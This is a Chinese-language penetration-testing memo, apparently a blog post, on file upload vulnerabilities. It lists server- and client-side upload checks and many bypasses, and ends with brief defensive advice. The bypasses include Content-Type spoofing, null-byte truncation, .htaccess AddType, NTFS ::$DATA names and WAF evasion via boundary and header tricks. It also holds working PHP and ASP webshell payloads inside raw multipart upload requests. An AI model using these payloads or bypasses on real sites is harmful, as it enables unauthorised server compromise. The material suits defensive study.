備忘錄7.文件上傳

0x01 概要說明

文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務(wù)器權(quán)限最快最直接。但是想真正把這個漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識。俗話說,知己知彼方能百戰(zhàn)不殆,因此想要研究怎么防護漏洞,就要了解怎么去利用。此篇文章主要分三部分:總結(jié)一些常見的上傳文件校驗方式,以及繞過校驗的各種姿勢,最后對此漏洞提幾點防護建議。

0x02 文件上傳校驗姿勢

客戶端javascript校驗(一般只校驗后綴名)

服務(wù)端校驗

文件頭content-type字段校驗(image/gif)

文件內(nèi)容頭校驗(GIF89a)

后綴名黑名單校驗

后綴名白名單校驗

自定義正則校驗

WAF設(shè)備校驗(根據(jù)不同的WAF產(chǎn)品而定)

1.客戶端校驗

  一般都是在網(wǎng)頁上寫一段javascript腳本,校驗上傳文件的后綴名,有白名單形式也有黑名單形式。

  判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內(nèi)容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時并沒有發(fā)送數(shù)據(jù)包。

2.服務(wù)端校驗

2.1 content-type字段校驗

  這里以PHP代碼為例,模擬web服務(wù)器端的校驗代碼

php? ? ? ? if($_FILES['userfile']['type'] != "image/gif")? #這里對上傳的文件類型進行判斷,如果不是image/gif類型便返回錯誤。? ? ? ? ? ? ? ? {? ? ? ? ? ? ? ? ? ? echo "Sorry, we only allow uploading GIF images";? ? ? ? ? ? ? ? exit;? ? ? ? ? ? ? ? }? ? ? ? $uploaddir = 'uploads/';? ? ? ? $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);? ? ? ? if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))? ? ? ? ? ? {? ? ? ? ? ? ? ? echo "File is valid, and was successfully uploaded.\n";? ? ? ? ? ? ? ? } else {? ? ? ? ? ? ? ? ? ? echo "File uploading failed.\n";? ? }

?>

可以看到代碼對上傳文件的文件類型進行了判斷,如果不是圖片類型,返回錯誤。

2.2 文件頭校驗

  可以通過自己寫正則匹配,判斷文件頭內(nèi)容是否符合要求,這里舉幾個常見的文件頭對應(yīng)關(guān)系:

(1) .JPEG;.JPE;.JPG,”JPGGraphic File”

(2) .gif,”GIF 89A”

(3) .zip,”Zip Compressed”

(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

0x03 文件上傳繞過校驗姿勢

客戶端繞過(抓包改包)

服務(wù)端繞過

文件類型

文件頭

文件后綴名

配合文件包含漏洞繞過

配合服務(wù)器解析漏洞繞過

CMS、編輯器漏洞繞過

配合操作系統(tǒng)文件命名規(guī)則繞過

配合其他規(guī)則繞過

WAF繞過

1.客戶端繞過

  可以利用burp抓包改包,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可。

2.服務(wù)端繞過

2.1 文件類型繞過

  我們可以通過抓包,將content-type字段改為image/gif

POST /upload.php HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form-data; boundary=xYzZYContent-Length: 155--xYzZYContent-Disposition: form-data; name="userfile"; filename="shell.php"Content-Type: image/gif (原為 Content-Type: text/plain)php system($_GET['command']);?>--xYzZY-

2.2 文件頭繞過

  在木馬內(nèi)容基礎(chǔ)上再加了一些文件信息,有點像下面的結(jié)構(gòu)

GIF89a

2.3 文件后綴名繞過

前提:黑名單校驗

黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件。

繞過方法:

(1)找黑名單擴展名的漏網(wǎng)之魚 - 比如 asa 和 cer 之類

(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類

能被解析的文件擴展名列表:

jsp jspx jspf

asp asa cer aspx

php php php3 php4

exe exee

3.配合文件包含漏洞

前提:校驗規(guī)則只校驗當(dāng)文件后綴名為asp/php/jsp的文件內(nèi)容是否為木馬。

繞過方式:(這里拿php為例,此漏洞主要存在于PHP中)

(1)先上傳一個內(nèi)容為木馬的txt后綴文件,因為后綴名的關(guān)系沒有檢驗內(nèi)容;

(2)然后再上傳一個.php的文件,內(nèi)容為

此時,這個php文件就會去引用txt文件的內(nèi)容,從而繞過校驗,下面列舉包含的語法:

#PHP? ? php Include("上傳的txt文件路徑");?> #ASP? ? #JSP? ? <jsp:inclde page="上傳的txt文件路徑"/>or? <%@include file="上傳的txt文件路徑"%>

4.配合服務(wù)器解析漏洞

http://www.cnblogs.com/shellr00t/p/6426856.html

5.配合操作系統(tǒng)文件命令規(guī)則

(1)上傳不符合windows文件命名規(guī)則的文件名

  test.asp.

  test.asp(空格)

  test.php:1.jpg

  test.php::$DATA

  shell.php::$DATA…….

會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容。

(2)linux下后綴名大小寫

在linux下,如果上傳php不被解析,可以試試上傳pHp后綴的文件名。

6.CMS、編輯器漏洞

(1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。

(2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。

可參考以下鏈接

https://www.leavesongs.com/PENETRATION/UseOfFckeditor.html

http://shack2.org/article/183.html

http://www.cnbraid.com/2015/fckeditor.html

https://docs.google.com/document/d/1w_61xR8U7nmn4Y0CvBHpG1uFIU2ORx69QnqTxQt8Km0/edit?pli=1

7.配合其他規(guī)則

(1)0x00截斷:基于一個組合邏輯漏洞造成的,通常存在于構(gòu)造上傳文件路徑的時候

  test.php(0x00).jpg

  test.php%00.jpg

  路徑/upload/1.php(0x00),文件名1.jpg,結(jié)合/upload/1.php(0x00)/1.jpg

偽代碼演示:

name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 后面為 0x00)type =gettype(name)? ? ? ? //而在 gettype()函數(shù)里處理方式是從后往前掃描擴展名,所以判斷為 jpgif(type == jpg)? SaveFileToPath(UploadPath.name, name)? //但在這里卻是以 0x00 作為文件名截斷//最后以 help.asp 存入路徑里

(2).htaccesss

上傳當(dāng)前目錄的.htaccess 文件

例如內(nèi)容為: AddType application/x-http-php .jpg?? (上傳的jpg 均以php執(zhí)行)

把.htaccess 上傳后,且上傳成功后,再上傳內(nèi)容為一句話的jpg文件

8.WAF繞過

8.1 垃圾數(shù)據(jù)

  有些主機WAF軟件為了不影響web服務(wù)器的性能,會對校驗的用戶數(shù)據(jù)設(shè)置大小上限,比如1M。此種情況可以構(gòu)造一個大文件,前面1M的內(nèi)容為垃圾內(nèi)容,后面才是真正的木馬內(nèi)容,便可以繞過WAF對文件內(nèi)容的校驗;

當(dāng)然也可以將垃圾數(shù)據(jù)放在數(shù)據(jù)包最開頭,這樣便可以繞過對文件名的校驗。

可以將垃圾數(shù)據(jù)加上Content-Disposition參數(shù)后面,參數(shù)內(nèi)容過長,可能會導(dǎo)致waf檢測出錯。

8.2 filename

針對早期版本安全狗,可以多加一個filename

或者將filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:

8.3 POST/GET

有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型,則校驗數(shù)據(jù)包內(nèi)容。

此種情況可以上傳一個POST型的數(shù)據(jù)包,抓包將POST改為GET。

8.4 以上方式

針對WAF,以上介紹的服務(wù)器解析漏洞、文件包含漏洞等都可以嘗試?yán)@過。

8.5 利用waf本身缺陷

刪除實體里面的Conten-Type字段

第一種是刪除Content整行,第二種是刪除C后面的字符。刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png構(gòu)造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"

刪除Content-Disposition字段里的空格

?增加一個空格導(dǎo)致安全狗被繞過案列:

Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099

嘗試在boundary后面加個空格或者其他可被正常處理的字符:

boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小寫

Boundary邊界不一致

每次文件上傳時的Boundary邊界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099Content-Length: 253-----------------------------4714631421141173021852555099Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream<%eval request("a")%>-----------------------------4714631421141173021852555099--

但如果容器在處理的過程中并沒有嚴(yán)格要求一致的話可能會導(dǎo)致一個問題,兩段Boundary不一致使得waf認為這段數(shù)據(jù)是無意義的,可是容器并沒有那么嚴(yán)謹:

Win2k3 + IIS6.0 + ASP

?文件名處回車

多個Content-Disposition

在IIS的環(huán)境下,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數(shù),而如果waf只是取最后一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

利用NTFS ADS特性

ADS是NTFS磁盤格式的一個特性,用于NTFS交換數(shù)據(jù)流。在上傳文件時,如果waf對請求正文的filename匹配不當(dāng)?shù)脑捒赡軙?dǎo)致繞過

文件重命名繞過

如果web程序會將filename除了擴展名的那段重命名的話,那么還可以構(gòu)造更多的點、符號等等。

特殊的長文件名繞過

文件名使用非字母數(shù)字,比如中文等最大程度的拉長,不行的話再結(jié)合一下其他的特性進行測試:

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反刪除

將下圖file1改成了file4,這樣就不會把這個文件刪除了。(JCMS漏洞)

文件校驗的幾點建議

文件擴展名服務(wù)端白名單校驗。

文件內(nèi)容服務(wù)端校驗。

上傳文件重命名。

隱藏上傳文件路徑。

  以上幾點,可以防御絕大多數(shù)上傳漏洞,但是需要跟服務(wù)器容器結(jié)合起來。如果解析漏洞依然存在,那么沒有絕對的安全。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容